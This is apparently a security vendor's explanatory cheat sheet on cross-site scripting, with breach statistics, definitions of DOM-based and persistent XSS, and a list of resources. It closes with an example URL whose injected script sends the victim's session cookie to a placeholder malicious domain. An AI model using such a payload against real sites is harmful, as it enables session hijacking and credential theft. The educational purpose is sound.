Cross Site Scripting Cheat Sheet
Cross Site Scripting Cheat Sheet
Cross Site Scripting Cheat Sheet
#1 Web Application Risk: Cross-site Scripting was the leading web application risk of 2012. XSS ranks as one of the most common software vulnerabilities present in greater than 60% of applications. (source: Veracode State of Software Security Report) The Root Cause of Breaches: Crosssite Scripting has been responsible for 26% of all successful hacking-related data breaches from 2005-2012. (source: Web Application Security Consortium) XSS Can Affect Any Company: In 2012 the following companies had XSS vulnerabilities found in their software: Apple, Google, IBM, MTV, NASA, Skype, Windows Live, and WordPress. (source: Veracode State of Software Security 2012) Incidents Explode: The modern era of XSS began in 2005 when the Samy worm took down the early social networking site MySpace. Within 20 hours it had infected one million users, making it the fastest spreading virus at the time. (source: ZD Net) OWASP Most Wanted: OWASP positioned XSS as #2 on its Top 10 list of software vulnerabilities in 2010 after hackers used a brute-force attack on Apache.org to gain administrator privileges and steal all user passwords. (source: ZD Net)
Cross-site Scripting
Cross-site Scripting, or XSS for short, is a type of web application security vulnerability that allows an attacker to add malicious code to an application that can then execute in a users browser.
Cross-site Scripting is one of the most common application-layer web attacks. In XSS attacks, the victim is the user rather than the application. XSS attacks target client-side scripting languages such as HTML and JavaScript to embed a malicious script in a web page. These attacks can execute every time the page is loaded into a users browser or whenever an associated action is performed by the user. Potential outcomes of XSS attacks include browser session hijacking, stealing account credentials, displaying unwanted advertisements, and infecting the user with a virus or other malware. However, the most malevolent XSS attacks complete their dirty work in secret, accessing unrelated web applications and resources behind the victims firewall. XSS vulnerabilities in software are easily preventable, yet most companies dont take measures to protect their users.
Additional Resources:
Veracode resources on Cross-site Scripting include: What is Cross-site Scripting? (blog) Developers Guide to Building Secure Web Applications (infographic) No More Excuses: Eradicate Crosssite Scripting Now (webinar) Safe Coding and Software Security (infographic) XSS: Detect, Attack, and Fix (video)
DOM-based XSS attacks can exploit the Document Object Model standard that enables API access to the content of HTML and XML documents. Many applications rely on pages that contain client-side scripts that dynamically generate HTML content. Based on certain user input, these pages modify their HTML without any interaction with the server, typically using Java or ActiveX. An XSS attacker has employed DOM-based XSS methodology if a malicious script can be injected into such a page without any data being submitted to the server. Unlike the other XSS techniques, in DOM-based exploits the client-side script is responsible for not properly sanitizing user input rather than the server.
Persistent XSS This XSS Javascript example is inputted as part of the attackers user name. Here a fraudulent user exploits the fact that the web application stores each user name in a local database that fails to sanitize the name field, leaving it open to XSS attacks. When other users view the attackers profile page, the code executes in the context of their session.
http://www.bigsafebank.com/search.asp?q=<script>x=new Image;x.src = http://maliciousdomain~~~/hijackedsession.php?sessioncookie=+document.co okie;</script>